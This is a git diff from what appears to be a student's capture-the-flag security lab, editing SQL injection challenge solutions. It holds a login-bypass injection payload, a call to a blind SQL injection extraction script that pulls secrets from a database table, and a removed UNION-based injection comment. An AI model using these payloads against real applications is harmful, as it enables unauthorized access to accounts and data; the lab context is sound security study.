diff --git a/pa/lab5/chall_I_will_take_care_of_this_site.txt b/pa/lab5/chall_I_will_take_care_of_this_site.txt index aef708c..5d077e9 100644 --- a/pa/lab5/chall_I_will_take_care_of_this_site.txt +++ b/pa/lab5/chall_I_will_take_care_of_this_site.txt @@ -1,3 +1,3 @@ SELECT id, username, password, bio, age, jackpot_val FROM user WHERE username = '' AND password = '' -admin' OR username = ' +admin' OR username = ' diff --git a/pa/lab5/chall_sometimes_we_are_just_temporarily_blind.py b/pa/lab5/chall_sometimes_we_are_just_temporarily_blind.py index b884d35..c960340 100644 --- a/pa/lab5/chall_sometimes_we_are_just_temporarily_blind.py +++ b/pa/lab5/chall_sometimes_we_are_just_temporarily_blind.py @@ -60,11 +60,3 @@ def stringer(column: str, table: str, where: str = "1 = 1", max: int = 50) -> li #print(stringer("name", "sqlite_master")) #print(stringer("sql", "sqlite_master", "name == 'super_s_sof_secrets'", 100)) print(stringer("secret", "super_s_sof_secrets", max=120)) - - - - - - -# SELECT id, title, content FROM blog_post WHERE title LIKE ' -#' AND id = 0 UNION SELECT id, title, content FROM blog_post WHERE title LIKE 'flag'; -- diff --git a/pa/writeups b/pa/writeups index 361a218..6b92b0e 160000 --- a/pa/writeups +++ b/pa/writeups @@ -1 +1 @@ -Subproject commit 361a218bb2fe20fd1f796925b9cdf0c93e87e89a +Subproject commit 6b92b0e9830770b3a35cd976e2fe411cee446933